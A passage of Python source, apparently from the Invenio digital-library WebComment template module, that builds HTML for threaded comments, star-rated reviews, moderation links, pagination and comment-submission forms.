{'title' : '<div style="background-color:#EEE;padding:2px;"><img src="%s/img/user-icon-1-24x24.gif" alt="" />&nbsp;%s</div>' % (CFG_SITE_URL, title), 'body' : final_body, 'links' : links, 'attached_files_html': attached_files_html} return out def tmpl_get_comment_with_ranking(self, req, ln, nickname, comment_uid, date_creation, body, status, nb_reports, nb_votes_total, nb_votes_yes, star_score, title, report_link=None, delete_links=None, undelete_link=None, unreport_link=None, recID=-1): """ private function @param req: request object to fetch user info @param ln: language @param nickname: nickname @param date_creation: date comment was written @param body: comment body @param status: status of the comment @param nb_reports: number of reports the comment has @param nb_votes_total: total number of votes for this review @param nb_votes_yes: number of positive votes for this record @param star_score: star score for this record @param title: title of review @param report_link: if want reply and report, give the http links @param undelete_link: http link to delete the message @param delete_link: http link to delete the message @param unreport_link: http link to unreport the comment @param recID: recID where the comment is posted @return: html table of review """ from invenio.search_engine import guess_primary_collection_of_a_record # load the right message language _ = gettext_set_language(ln) if star_score > 0: star_score_img = 'stars-' + str(star_score) + '-0.png' else: star_score_img = 'stars-0-0.png' out = "" date_creation = convert_datetext_to_dategui(date_creation, ln=ln) reviewed_label = _("Reviewed by %(x_nickname)s on %(x_date)s") % {'x_nickname': nickname, 'x_date':date_creation} useful_label = _("%(x_nb_people)i out of %(x_nb_total)i people found this review useful") % {'x_nb_people': nb_votes_yes, 'x_nb_total': nb_votes_total} links = '' _body = '' if body != '': _body = ''' <blockquote> %s </blockquote>''' % email_quoted_txt2html(body, linebreak_html='') # Check if user is a comment moderator record_primary_collection = guess_primary_collection_of_a_record(recID) user_info = collect_user_info(req) (auth_code, auth_msg) = acc_authorize_action(user_info, 'moderatecomments', collection=record_primary_collection) if status in ['dm', 'da'] and req: if not auth_code: if status == 'dm': _body = '<div style="color:#a3a3a3;font-style:italic;">(Review deleted by moderator) - not visible for users<br /><br />' +\ _body + '</div>' else: _body = '<div style="color:#a3a3a3;font-style:italic;">(Review deleted by author) - not visible for users<br /><br />' +\ _body + '</div>' links = '<a style="color:#8B0000;" href="' + undelete_link + '">' + _("Undelete review") + '</a>' else: if status == 'dm': _body = '<div style="color:#a3a3a3;font-style:italic;">Review deleted by moderator</div>' else: _body = '<div style="color:#a3a3a3;font-style:italic;">Review deleted by author</div>' links = '' else: if not auth_code: links += '<a style="color:#8B0000;" href="' + delete_links['mod'] +'">' + _("Delete review") + '</a>' if nb_reports >= CFG_WEBCOMMENT_NB_REPORTS_BEFORE_SEND_EMAIL_TO_ADMIN: if not auth_code: _body = '<div style="color:#a3a3a3;font-style:italic;">(Review reported. Pending approval) - not visible for users<br /><br />' + _body + '</div>' links += ' | ' links += '<a style="color:#8B0000;" href="' + unreport_link +'">' + _("Unreport review") + '</a>' else: _body = '<div style="color:#a3a3a3;font-style:italic;">This review is pending approval due to user reports.</div>' links = '' out += ''' <div style="background:#F9F9F9;border:1px solid #DDD"> <div style="background-color:#EEE;padding:2px;"> <img src="%(siteurl)s/img/%(star_score_img)s" alt="%(star_score)s" style="margin-right:10px;"/><b>%(title)s</b><br /> %(reviewed_label)s<br /> %(useful_label)s </div> %(body)s </div> %(abuse)s''' % {'siteurl' : CFG_SITE_URL, 'star_score_img': star_score_img, 'star_score' : star_score, 'title' : title, 'reviewed_label': reviewed_label, 'useful_label' : useful_label, 'body' : _body, 'abuse' : links } return out def tmpl_get_comments(self, req, recID, ln, nb_per_page, page, nb_pages, display_order, display_since, CFG_WEBCOMMENT_ALLOW_REVIEWS, comments, total_nb_comments, avg_score, warnings, border=0, reviews=0, total_nb_reviews=0, nickname='', uid=-1, note='',score=5, can_send_comments=False, can_attach_files=False, user_is_subscribed_to_discussion=False, user_can_unsubscribe_from_discussion=False, display_comment_rounds=None): """ Get table of all comments @param recID: record id @param ln: language @param nb_per_page: number of results per page @param page: page number @param display_order: hh = highest helpful score, review only lh = lowest helpful score, review only hs = highest star score, review only ls = lowest star score, review only od = oldest date nd = newest date @param display_since: all= no filtering by date nd = n days ago nw = n weeks ago nm = n months ago ny = n years ago where n is a single digit integer between 0 and 9 @param CFG_WEBCOMMENT_ALLOW_REVIEWS: is ranking enable, get from config.py/CFG_WEBCOMMENT_ALLOW_REVIEWS @param comments: tuple as returned from webcomment.py/query_retrieve_comments_or_remarks @param total_nb_comments: total number of comments for this record @param avg_score: average score of reviews for this record @param warnings: list of warning tuples (warning_msg, color) @param border: boolean, active if want to show border around each comment/review @param reviews: boolean, enabled for reviews, disabled for comments @param can_send_comments: boolean, if user can send comments or not @param can_attach_files: boolean, if user can attach file to comment or not @param user_is_subscribed_to_discussion: True if user already receives new comments by email @param user_can_unsubscribe_from_discussion: True is user is allowed to unsubscribe from discussion """ # load the right message language _ = gettext_set_language(ln) # CERN hack begins: display full ATLAS user name. Check further below too. current_user_fullname = "" override_nickname_p = False if CFG_CERN_SITE: from invenio.search_engine import get_all_collections_of_a_record user_info = collect_user_info(uid) if 'atlas-readaccess-current-physicists [CERN]' in user_info['group']: # An ATLAS member is never anonymous to its colleagues # when commenting inside ATLAS collections recid_collections = get_all_collections_of_a_record(recID) if 'ATLAS' in str(recid_collections): override_nickname_p = True current_user_fullname = user_info.get('external_fullname', '') # CERN hack ends # naming data fields of comments if reviews: c_nickname = 0 c_user_id = 1 c_date_creation = 2 c_body = 3 c_status = 4 c_nb_reports = 5 c_nb_votes_yes = 6 c_nb_votes_total = 7 c_star_score = 8 c_title = 9 c_id = 10 c_round_name = 11 c_restriction = 12 reply_to = 13 discussion = 'reviews' comments_link = '<a href="%s/record/%s/comments/">%s</a> (%i)' % (CFG_SITE_URL, recID, _('Comments'), total_nb_comments) reviews_link = '<b>%s (%i)</b>' % (_('Reviews'), total_nb_reviews) add_comment_or_review = self.tmpl_add_comment_form_with_ranking(recID, uid, current_user_fullname or nickname, ln, '', score, note, warnings, show_title_p=True, can_attach_files=can_attach_files) else: c_nickname = 0 c_user_id = 1 c_date_creation = 2 c_body = 3 c_status = 4 c_nb_reports = 5 c_id = 6 c_round_name = 7 c_restriction = 8 reply_to = 9 discussion = 'comments' comments_link = '<b>%s (%i)</b>' % (_('Comments'), total_nb_comments) reviews_link = '<a href="%s/record/%s/reviews/">%s</a> (%i)' % (CFG_SITE_URL, recID, _('Reviews'), total_nb_reviews) add_comment_or_review = self.tmpl_add_comment_form(recID, uid, nickname, ln, note, warnings, can_attach_files=can_attach_files, user_is_subscribed_to_discussion=user_is_subscribed_to_discussion) # voting links useful_dict = { 'siteurl' : CFG_SITE_URL, 'recID' : recID, 'ln' : ln, 'do' : display_order, 'ds' : display_since, 'nb' : nb_per_page, 'p' : page, 'reviews' : reviews, 'discussion' : discussion } useful_yes = '<a href="%(siteurl)s/record/%(recID)s/%(discussion)s/vote?ln=%(ln)s&amp;comid=%%(comid)s&amp;com_value=1&amp;do=%(do)s&amp;ds=%(ds)s&amp;nb=%(nb)s&amp;p=%(p)s&amp;referer=%(siteurl)s/record/%(recID)s/%(discussion)s/display">' + _("Yes") + '</a>' useful_yes %= useful_dict useful_no = '<a href="%(siteurl)s/record/%(recID)s/%(discussion)s/vote?ln=%(ln)s&amp;comid=%%(comid)s&amp;com_value=-1&amp;do=%(do)s&amp;ds=%(ds)s&amp;nb=%(nb)s&amp;p=%(p)s&amp;referer=%(siteurl)s/record/%(recID)s/%(discussion)s/display">' + _("No") + '</a>' useful_no %= useful_dict warnings = self.tmpl_warnings(warnings, ln) link_dic = { 'siteurl' : CFG_SITE_URL, 'module' : 'comments', 'function' : 'index', 'discussion': discussion, 'arguments' : 'do=%s&amp;ds=%s&amp;nb=%s' % (display_order, display_since, nb_per_page), 'arg_page' : '&amp;p=%s' % page, 'page' : page, 'rec_id' : recID} if not req: req = None ## comments table comments_rows = '' last_comment_round_name = None comment_round_names = [comment[0] for comment in comments] if comment_round_names: last_comment_round_name = comment_round_names[-1] for comment_round_name, comments_list in comments: comment_round_style = "display:none;" comment_round_is_open = False if comment_round_name in display_comment_rounds: comment_round_is_open = True comment_round_style = "" comments_rows += '<div id="cmtRound%s" class="cmtround">' % (comment_round_name) if not comment_round_is_open and \ (comment_round_name or len(comment_round_names) > 1): new_cmtgrp = list(display_comment_rounds) new_cmtgrp.append(comment_round_name) comments_rows += '''<img src="/img/right-trans.gif" id="cmtarrowiconright%(grp_id)s" alt="Open group" /><img src="/img/down-trans.gif" id="cmtarrowicondown%(grp_id)s" alt="Close group" style="display:none" /> <a class="cmtgrpswitch" name="cmtgrpLink%(grp_id)s" onclick="var cmtarrowicondown=document.getElementById('cmtarrowicondown%(grp_id)s');var cmtarrowiconright=document.getElementById('cmtarrowiconright%(grp_id)s');var subgrp=document.getElementById('cmtSubRound%(grp_id)s');if (subgrp.style.display==''){subgrp.style.display='none';cmtarrowiconright.style.display='';cmtarrowicondown.style.display='none';}else{subgrp.style.display='';cmtarrowiconright.style.display='none';cmtarrowicondown.style.display='';};return false;"''' % {'grp_id': comment_round_name} comments_rows += 'href=\"%(siteurl)s/record/%(rec_id)s/%(discussion)s/%(function)s?%(arguments)s&amp;%(arg_page)s' % link_dic comments_rows += '&amp;' + '&amp;'.join(["cmtgrp=" + grp for grp in new_cmtgrp if grp != 'none']) + \ '#cmtgrpLink%s' % (comment_round_name) + '\">' comments_rows += _('%(x_nb)i comments for round "%(x_name)s"') % {'x_nb': len(comments_list), 'x_name': comment_round_name} + "</a><br/>" elif comment_round_name or len(comment_round_names) > 1: new_cmtgrp = list(display_comment_rounds) new_cmtgrp.remove(comment_round_name) comments_rows += '''<img src="/img/right-trans.gif" id="cmtarrowiconright%(grp_id)s" alt="Open group" style="display:none" /><img src="/img/down-trans.gif" id="cmtarrowicondown%(grp_id)s" alt="Close group" /> <a class="cmtgrpswitch" name="cmtgrpLink%(grp_id)s" onclick="var cmtarrowicondown=document.getElementById('cmtarrowicondown%(grp_id)s');var cmtarrowiconright=document.getElementById('cmtarrowiconright%(grp_id)s');var subgrp=document.getElementById('cmtSubRound%(grp_id)s');if (subgrp.style.display==''){subgrp.style.display='none';cmtarrowiconright.style.display='';cmtarrowicondown.style.display='none';}else{subgrp.style.display='';cmtarrowiconright.style.display='none';cmtarrowicondown.style.display='';};return false;"''' % {'grp_id': comment_round_name} comments_rows += 'href=\"%(siteurl)s/record/%(rec_id)s/%(discussion)s/%(function)s?%(arguments)s&amp;%(arg_page)s' % link_dic comments_rows += '&amp;' + ('&amp;'.join(["cmtgrp=" + grp for grp in new_cmtgrp if grp != 'none']) or 'cmtgrp=none' ) + \ '#cmtgrpLink%s' % (comment_round_name) + '\">' comments_rows += _('%(x_nb)i comments for round "%(x_name)s"') % {'x_nb': len(comments_list), 'x_name': comment_round_name}+ "</a><br/>" comments_rows += '<div id="cmtSubRound%s" class="cmtsubround" style="%s">' % (comment_round_name, comment_round_style) thread_history = [0] for comment in comments_list: if comment[reply_to] not in thread_history: # Going one level down in the thread thread_history.append(comment[reply_to]) depth = thread_history.index(comment[reply_to]) else: depth = thread_history.index(comment[reply_to]) thread_history = thread_history[:depth + 1] # CERN hack begins: display full ATLAS user name. comment_user_fullname = "" if CFG_CERN_SITE and override_nickname_p: comment_user_fullname = get_email(comment[c_user_id]) # CERN hack ends if comment[c_nickname]: _nickname = comment[c_nickname] display = _nickname else: (uid, _nickname, display) = get_user_info(comment[c_user_id]) messaging_link = self.create_messaging_link(_nickname, comment_user_fullname or display, ln) from invenio.webcomment import get_attached_files # FIXME files = get_attached_files(recID, comment[c_id]) # do NOT delete the HTML comment below. It is used for parsing... (I plead unguilty!) comments_rows += """ <!-- start comment row --> <div style="margin-left:%spx">""" % (depth*20) delete_links = {} if not reviews: report_link = '%(siteurl)s/record/%(recID)s/comments/report?ln=%(ln)s&amp;comid=%%(comid)s&amp;do=%(do)s&amp;ds=%(ds)s&amp;nb=%(nb)s&amp;p=%(p)s&amp;referer=%(siteurl)s/record/%(recID)s/comments/display' % useful_dict % {'comid':comment[c_id]} reply_link = '%(siteurl)s/record/%(recID)s/comments/add?ln=%(ln)s&amp;action=REPLY&amp;comid=%%(comid)s' % useful_dict % {'comid':comment[c_id]} delete_links['mod'] = "%s/admin/webcomment/webcommentadmin.py/del_single_com_mod?ln=%s&amp;id=%s" % (CFG_SITE_URL, ln, comment[c_id]) delete_links['auth'] = "%s/admin/webcomment/webcommentadmin.py/del_single_com_auth?ln=%s&amp;id=%s" % (CFG_SITE_URL, ln, comment[c_id]) undelete_link = "%s/admin/webcomment/webcommentadmin.py/undel_com?ln=%s&amp;id=%s" % (CFG_SITE_URL, ln, comment[c_id]) unreport_link = "%s/admin/webcomment/webcommentadmin.py/unreport_com?ln=%s&amp;id=%s" % (CFG_SITE_URL, ln, comment[c_id]) comments_rows += self.tmpl_get_comment_without_ranking(req, ln, messaging_link, comment[c_user_id], comment[c_date_creation], comment[c_body], comment[c_status], comment[c_nb_reports], reply_link, report_link, undelete_link, delete_links, unreport_link, recID, comment[c_id], files) else: report_link = '%(siteurl)s/record/%(recID)s/reviews/report?ln=%(ln)s&amp;comid=%%(comid)s&amp;do=%(do)s&amp;ds=%(ds)s&amp;nb=%(nb)s&amp;p=%(p)s&amp;referer=%(siteurl)s/record/%(recID)s/reviews/display' % useful_dict % {'comid': comment[c_id]} delete_links['mod'] = "%s/admin/webcomment/webcommentadmin.py/del_single_com_mod?ln=%s&amp;id=%s" % (CFG_SITE_URL, ln, comment[c_id]) delete_links['auth'] = "%s/admin/webcomment/webcommentadmin.py/del_single_com_auth?ln=%s&amp;id=%s" % (CFG_SITE_URL, ln, comment[c_id]) undelete_link = "%s/admin/webcomment/webcommentadmin.py/undel_com?ln=%s&amp;id=%s" % (CFG_SITE_URL, ln, comment[c_id]) unreport_link = "%s/admin/webcomment/webcommentadmin.py/unreport_com?ln=%s&amp;id=%s" % (CFG_SITE_URL, ln, comment[c_id]) comments_rows += self.tmpl_get_comment_with_ranking(req, ln, messaging_link, comment[c_user_id], comment[c_date_creation], comment[c_body], comment[c_status], comment[c_nb_reports], comment[c_nb_votes_total], comment[c_nb_votes_yes], comment[c_star_score], comment[c_title], report_link, delete_links, undelete_link, unreport_link, recID) helpful_label = _("Was this review helpful?") report_abuse_label = "(" + _("Report abuse") + ")" yes_no_separator = '<td> / </td>' if comment[c_nb_reports] >= CFG_WEBCOMMENT_NB_REPORTS_BEFORE_SEND_EMAIL_TO_ADMIN or comment[c_status] in ['dm', 'da']: report_abuse_label = "" helpful_label = "" useful_yes = "" useful_no = "" yes_no_separator = "" comments_rows += """ <table> <tr> <td>%(helpful_label)s %(tab)s</td> <td> %(yes)s </td> %(yes_no_separator)s <td> %(no)s </td> <td class="reportabuse">%(tab)s%(tab)s<a href="%(report)s">%(report_abuse_label)s</a></td> </tr> </table>""" \ % {'helpful_label': helpful_label, 'yes' : useful_yes % {'comid':comment[c_id]}, 'yes_no_separator': yes_no_separator, 'no' : useful_no % {'comid':comment[c_id]}, 'report' : report_link % {'comid':comment[c_id]}, 'report_abuse_label': comment[c_nb_reports] >= CFG_WEBCOMMENT_NB_REPORTS_BEFORE_SEND_EMAIL_TO_ADMIN and '' or report_abuse_label, 'tab' : '&nbsp;'*2} # do NOT remove HTML comment below. It is used for parsing... comments_rows += """ </div> <!-- end comment row -->""" comments_rows += '</div></div>' ## page links page_links = '' # Previous if page != 1: link_dic['arg_page'] = 'p=%s' % (page - 1) page_links += '<a href=\"%(siteurl)s/record/%(rec_id)s/%(discussion)s/%(function)s?%(arguments)s&amp;%(arg_page)s\">&lt;&lt;</a> ' % link_dic else: page_links += ' %s ' % ('&nbsp;'*(len(_('Previous'))+7)) # Page Numbers for i in range(1, nb_pages+1): link_dic['arg_page'] = 'p=%s' % i link_dic['page'] = '%s' % i if i != page: page_links += ''' <a href=\"%(siteurl)s/record/%(rec_id)s/%(discussion)s/%(function)s?%(arguments)s&amp;%(arg_page)s\">%(page)s</a> ''' % link_dic else: page_links += ''' <b>%s</b> ''' % i # Next if page != nb_pages: link_dic['arg_page'] = 'p=%s' % (page + 1) page_links += ''' <a href=\"%(siteurl)s/record/%(rec_id)s/%(discussion)s/%(function)s?%(arguments)s&amp;%(arg_page)s\">&gt;&gt;</a> ''' % link_dic else: page_links += '%s' % ('&nbsp;'*(len(_('Next'))+7)) ## stuff for ranking if enabled if reviews: if avg_score > 0: avg_score_img = 'stars-' + str(avg_score).split('.')[0] + '-' + str(avg_score).split('.')[1] + '.png' else: avg_score_img = "stars-0-0.png" ranking_average = '<br /><b>' ranking_average += _("Average review score: %(x_nb_score)s based on %(x_nb_reviews)s reviews") % \ {'x_nb_score': '</b><img src="' + CFG_SITE_URL + '/img/' + avg_score_img + '" alt="' + str(avg_score) + '" />', 'x_nb_reviews': str(total_nb_reviews)} ranking_average += '<br />' else: ranking_average = "" write_button_link = '''%s/record/%s/%s/add''' % (CFG_SITE_URL, recID, discussion) write_button_form = '<input type="hidden" name="ln" value="%s"/>' write_button_form = self.createhiddenform(action=write_button_link, method="get", text=write_button_form, button = reviews and _('Write a review') or _('Write a comment')) if reviews: total_label = _("There is a total of %s reviews") else: total_label = _("There is a total of %s comments") total_label %= total_nb_comments review_or_comment_first = '' if reviews == 0 and total_nb_comments == 0 and can_send_comments: review_or_comment_first = _("Start a discussion about any aspect of this document.") + '<br />' elif reviews == 1 and total_nb_reviews == 0 and can_send_comments: review_or_comment_first = _("Be the first to review this document.") + '<br />' # do NOT remove the HTML comments below. Used for parsing body = ''' %(comments_and_review_tabs)s <!-- start comments table --> <div style="border: %(border)spx solid black; width: 95%%; margin:10px;font-size:small"> %(comments_rows)s </div> <!-- end comments table --> %(review_or_comment_first)s <br />''' % \ { 'record_label': _("Record"), 'back_label': _("Back to search results"), 'total_label': total_label, 'write_button_form' : write_button_form, 'write_button_form_again' : total_nb_comments>3 and write_button_form or "", 'comments_rows' : comments_rows, 'total_nb_comments' : total_nb_comments, 'comments_or_reviews' : reviews and _('review') or _('comment'), 'comments_or_reviews_title' : reviews and _('Review') or _('Comment'), 'siteurl' : CFG_SITE_URL, 'module' : "comments", 'recid' : recID, 'ln' : ln, 'border' : border, 'ranking_avg' : ranking_average, 'comments_and_review_tabs' : CFG_WEBCOMMENT_ALLOW_REVIEWS and \ CFG_WEBCOMMENT_ALLOW_COMMENTS and \ '%s | %s <br />' % \ (comments_link, reviews_link) or '', 'review_or_comment_first' : review_or_comment_first } # form is not currently used. reserved for an eventual purpose #form = """ # Display <select name="nb" size="1"> per page # <option value="all">All</option> # <option value="10">10</option> # <option value="25">20</option> # <option value="50">50</option> # <option value="100" selected="selected">100</option> # </select> # comments per page that are <select name="ds" size="1"> # <option value="all" selected="selected">Any age</option> # <option value="1d">1 day old</option> # <option value="3d">3 days old</option> # <option value="1w">1 week old</option> # <option value="2w">2 weeks old</option> # <option value="1m">1 month old</option> # <option value="3m">3 months old</option> # <option value="6m">6 months old</option> # <option value="1y">1 year old</option> # </select> # and sorted by <select name="do" size="1"> # <option value="od" selected="selected">Oldest first</option> # <option value="nd">Newest first</option> # %s # </select> # """ % \ # (reviews==1 and ''' # <option value=\"hh\">most helpful</option> # <option value=\"lh\">least helpful</option> # <option value=\"hs\">highest star ranking</option> # <option value=\"ls\">lowest star ranking</option> # </select>''' or ''' # </select>''') # #form_link = "%(siteurl)s/%(module)s/%(function)s" % link_dic #form = self.createhiddenform(action=form_link, method="get", text=form, button='Go', recid=recID, p=1) pages = """ <div> %(v_label)s %(comments_or_reviews)s %(results_nb_lower)s-%(results_nb_higher)s <br /> %(page_links)s </div> """ % \ {'v_label': _("Viewing"), 'page_links': _("Page:") + page_links , 'comments_or_reviews': reviews and _('review') or _('comment'), 'results_nb_lower': len(comments)>0 and ((page-1) * nb_per_page)+1 or 0, 'results_nb_higher': page == nb_pages and (((page-1) * nb_per_page) + len(comments)) or (page * nb_per_page)} if nb_pages > 1: #body = warnings + body + form + pages body = warnings + body + pages else: body = warnings + body if reviews == 0: if not user_is_subscribed_to_discussion: body += '<small>' body += '<div class="comment-subscribe">' + '<img src="%s/img/mail-icon-12x8.gif" border="0" alt="" />' % CFG_SITE_URL + \ '&nbsp;' + '<b>' + create_html_link(urlbase=CFG_SITE_URL + '/record/' + \ str(recID) + '/comments/subscribe', urlargd={}, link_label=_('Subscribe')) + \ '</b>' + ' to this discussion. You will then receive all new comments by email.' + '</div>' body += '</small><br />' elif user_can_unsubscribe_from_discussion: body += '<small>' body += '<div class="comment-subscribe">' + '<img src="%s/img/mail-icon-12x8.gif" border="0" alt="" />' % CFG_SITE_URL + \ '&nbsp;' + '<b>' + create_html_link(urlbase=CFG_SITE_URL + '/record/' + \ str(recID) + '/comments/unsubscribe', urlargd={}, link_label=_('Unsubscribe')) + \ '</b>' + ' from this discussion. You will no longer receive emails about new comments.' + '</div>' body += '</small><br />' if can_send_comments: body += add_comment_or_review else: body += '<br/><em>' + _("You are not authorized to comment or review.") + '</em>' return '<div style="margin-left:10px;margin-right:10px;">' + body + '</div>' def create_messaging_link(self, to, display_name, ln=CFG_SITE_LANG): """prints a link to the messaging system""" link = "%s/yourmessages/write?msg_to=%s&amp;ln=%s" % (CFG_SITE_URL, to, ln) if to: return '<a href="%s" class="maillink">%s</a>' % (link, display_name) else: return display_name def createhiddenform(self, action="", method="get", text="", button="confirm", cnfrm='', **hidden): """ create select with hidden values and submit button @param action: name of the action to perform on submit @param method: 'get' or 'post' @param text: additional text, can also be used to add non hidden input @param button: value/caption on the submit button @param cnfrm: if given, must check checkbox to confirm @param **hidden: dictionary with name=value pairs for hidden input @return: html form """ output = """ <form action="%s" method="%s">""" % (action, method.lower().strip() in ['get', 'post'] and method or 'get') output += """ <table style="width:90%"> <tr> <td style="vertical-align: top"> """ output += text + '\n' if cnfrm: output += """ <input type="checkbox" name="confirm" value="1" />""" for key in hidden.keys(): if type(hidden[key]) is list: for value in hidden[key]: output += """ <input type="hidden" name="%s" value="%s" />""" % (key, value) else: output += """ <input type="hidden" name="%s" value="%s" />""" % (key, hidden[key]) output += """ </td> </tr> <tr> <td>""" output += """ <input class="adminbutton" type="submit" value="%s" />""" % (button, ) output += """ </td> </tr> </table> </form>""" return output def create_write_comment_hiddenform(self, action="", method="get", text="", button="confirm", cnfrm='', enctype='', **hidden): """ create select with hidden values and submit button @param action: name of the action to perform on submit @param method: 'get' or 'post' @param text: additional text, can also be used to add non hidden input @param button: value/caption on the submit button @param cnfrm: if given, must check checkbox to confirm @param **hidden: dictionary with name=value pairs for hidden input @return: html form """ enctype_attr = '' if enctype: enctype_attr = 'enctype=' + enctype output = """ <form action="%s" method="%s" %s>""" % (action, method.lower().strip() in ['get', 'post'] and method or 'get', enctype_attr) if cnfrm: output += """ <input type="checkbox" name="confirm" value="1" />""" for key in hidden.keys(): if type(hidden[key]) is list: for value in hidden[key]: output += """ <input type="hidden" name="%s" value="%s" />""" % (key, value) else: output += """ <input type="hidden" name="%s" value="%s" />""" % (key, hidden[key]) output += text + '\n' output += """ </form>""" return output def tmpl_warnings(self, warnings, ln=CFG_SITE_LANG): """ Prepare the warnings list @param warnings: list of warning tuples (warning_msg, arg1, arg2, etc) @return: html string of warnings """ red_text_warnings = ['WRN_WEBCOMMENT_FEEDBACK_NOT_RECORDED', 'WRN_WEBCOMMENT_ALREADY_VOTED'] green_text_warnings = ['WRN_WEBCOMMENT_FEEDBACK_RECORDED', 'WRN_WEBCOMMENT_SUBSCRIBED', 'WRN_WEBCOMMENT_UNSUBSCRIBED'] from invenio.errorlib import get_msgs_for_code_list span_class = 'important' out = "" if type(warnings) is not list: warnings = [warnings] if len(warnings) > 0: warnings_parsed = get_msgs_for_code_list(warnings, 'warning', ln) for (warning_code, warning_text) in warnings_parsed: if not warning_code.startswith('WRN'): #display only warnings that begin with WRN to user continue if warning_code in red_text_warnings: span_class = 'important' elif warning_code in green_text_warnings: span_class = 'exampleleader' else: span_class = 'important' out += ''' <span class="%(span_class)s">%(warning)s</span><br />''' % \ { 'span_class' : span_class, 'warning' : warning_text } return out else: return "" def tmpl_add_comment_form(self, recID, uid, nickname, ln, msg, warnings, textual_msg=None, can_attach_files=False, user_is_subscribed_to_discussion=False, reply_to=None): """ Add form for comments @param recID: record id @param uid: user id @param ln: language @param msg: comment body contents for when refreshing due to warning, or when replying to a comment @param textual_msg: same as 'msg', but contains the textual version in case user cannot display FCKeditor @param warnings: list of warning tuples (warning_msg, color) @param can_attach_files: if user can upload attach file to record or not @param user_is_subscribed_to_discussion: True if user already receives new comments by email @param reply_to: the ID of the comment we are replying to. None if not replying @return html add comment form """ _ = gettext_set_language(ln) link_dic = { 'siteurl' : CFG_SITE_URL, 'module' : 'comments', 'function' : 'add', 'arguments' : 'ln=%s&amp;action=%s' % (ln, 'SUBMIT'), 'recID' : recID} if textual_msg is None: textual_msg = msg # FIXME a cleaner handling of nicknames is needed. if not nickname: (uid, nickname, display) = get_user_info(uid) if nickname: note = _("Note: Your nickname, %s, will be displayed as author of this comment.") % ('<i>' + nickname + '</i>') else: (uid, nickname, display) = get_user_info(uid) link = '<a href="%s/youraccount/edit">' % CFG_SITE_SECURE_URL note = _("Note: you have not %(x_url_open)sdefined your nickname%(x_url_close)s. %(x_nickname)s will be displayed as the author of this comment.") % \ {'x_url_open': link, 'x_url_close': '</a>', 'x_nickname': ' <br /><i>' + display + '</i>'} if not CFG_WEBCOMMENT_USE_RICH_TEXT_EDITOR: note += '<br />' + '&nbsp;'*10 + cgi.escape('You can use some HTML tags: <a href>, <strong>, <blockquote>, <br />, <p>, <em>, <ul>, <li>, <b>, <i>') #from invenio.search_engine import print_record #record_details = print_record(recID=recID, format='hb', ln=ln) warnings = self.tmpl_warnings(warnings, ln) # Prepare file upload settings. We must enable file upload in # the fckeditor + a simple file upload interface (independant from editor) file_upload_url = None simple_attach_file_interface = '' if isGuestUser(uid): simple_attach_file_interface = "<small><em>%s</em></small><br/>" % _("Once logged in, authorized users can also attach files.") if can_attach_files: # Note that files can be uploaded only when user is logged in #file_upload_url = '%s/record/%i/comments/attachments/put' % \ # (CFG_SITE_URL, recID) simple_attach_file_interface = ''' <div id="uploadcommentattachmentsinterface"> <small>%(attach_msg)s: <em>(%(nb_files_limit_msg)s. %(file_size_limit_msg)s)</em></small><br /> <input class="multi max-%(CFG_WEBCOMMENT_MAX_ATTACHED_FILES)s" type="file" name="commentattachment[]"/><br /> <noscript> <input type="file" name="commentattachment[]" /><br /> </noscript> </div> ''' % \ {'CFG_WEBCOMMENT_MAX_ATTACHED_FILES': CFG_WEBCOMMENT_MAX_ATTACHED_FILES, 'attach_msg': CFG_WEBCOMMENT_MAX_ATTACHED_FILES == 1 and _("Optionally, attach a file to this comment") or \ _("Optionally, attach files to this comment"), 'nb_files_limit_msg': _("Max one file") and CFG_WEBCOMMENT_MAX_ATTACHED_FILES == 1 or \ _("Max %i files") % CFG_WEBCOMMENT_MAX_ATTACHED_FILES, 'file_size_limit_msg': CFG_WEBCOMMENT_MAX_ATTACHMENT_SIZE > 0 and _("Max %(x_nb_bytes)s per file") % {'x_nb_bytes': (CFG_WEBCOMMENT_MAX_ATTACHMENT_SIZE < 1024*1024 and (str(CFG_WEBCOMMENT_MAX_ATTACHMENT_SIZE/1024) + 'KB') or (str(CFG_WEBCOMMENT_MAX_ATTACHMENT_SIZE/(1024*1024)) + 'MB'))} or ''} editor = get_html_text_editor(name='msg', content=msg, textual_content=textual_msg, width='100%', height='400px', enabled=CFG_WEBCOMMENT_USE_RICH_TEXT_EDITOR, file_upload_url=file_upload_url, toolbar_set = "WebComment") subscribe_to_discussion = '' if not user_is_subscribed_to_discussion: # Offer to subscribe to discussion subscribe_to_discussion = '<small><input type="checkbox" name="subscribe" id="subscribe"/><label for="subscribe">%s</label></small>' % _("Send me an email when a new comment is posted") form = """<div id="comment-write"><h2>%(add_comment)s</h2> %(editor)s <br /> %(simple_attach_file_interface)s <span class="reportabuse">%(note)s</span> <div class="submit-area"> %(subscribe_to_discussion)s<br /> <input class="adminbutton" type="submit" value="Add comment" /> %(reply_to)s </div> """ % {'note': note, 'record_label': _("Article") + ":", 'comment_label': _("Comment") + ":", 'add_comment': _('Add comment'), 'editor': editor, 'subscribe_to_discussion': subscribe_to_discussion, 'reply_to': reply_to and '<input type="hidden" name="comid" value="%s"/>' % reply_to or '', 'simple_attach_file_interface': simple_attach_file_interface} form_link = "%(siteurl)s/record/%(recID)s/comments/%(function)s?%(arguments)s" % link_dic form = self.create_write_comment_hiddenform(action=form_link, method="post", text=form, button='Add comment', enctype='multipart/form-data') form += '</div>' return warnings + form def tmpl_add_comment_form_with_ranking(self, recID, uid, nickname, ln, msg, score, note, warnings, textual_msg=None, show_title_p=False, can_attach_files=False): """ Add form for reviews @param recID: record id @param uid: user id @param ln: language @param msg: comment body contents for when refreshing due to warning @param textual_msg: the textual version of 'msg' when user cannot display FCKeditor @param score: review score @param note: review title @param warnings: list of warning tuples (warning_msg, color) @param show_title_p: if True, prefix the form with "Add Review" as title @param can_attach_files: if user can upload attach file to record or not @return: html add review form """ _ = gettext_set_language(ln) link_dic = { 'siteurl' : CFG_SITE_URL, 'module' : 'comments', 'function' : 'add', 'arguments' : 'ln=%s&amp;action=%s' % (ln, 'SUBMIT'), 'recID' : recID} warnings = self.tmpl_warnings(warnings, ln) if textual_msg is None: textual_msg = msg #from search_engine import print_record #record_details = print_record(recID=recID, format='hb', ln=ln) if nickname: note_label = _("Note: Your nickname, %s, will be displayed as the author of this review.") note_label %= ('<i>' + nickname + '</i>') else: (uid, nickname, display) = get_user_info(uid) link = '<a href="%s/youraccount/edit">' % CFG_SITE_SECURE_URL note_label = _("Note: you have not %(x_url_open)sdefined your nickname%(x_url_close)s. %(x_nickname)s will be displayed as the author of this comment.") % \ {'x_url_open': link, 'x_url_close': '</a>', 'x_nickname': ' <br /><i>' + display + '</i>'} selected0 = '' selected1 = '' selected2 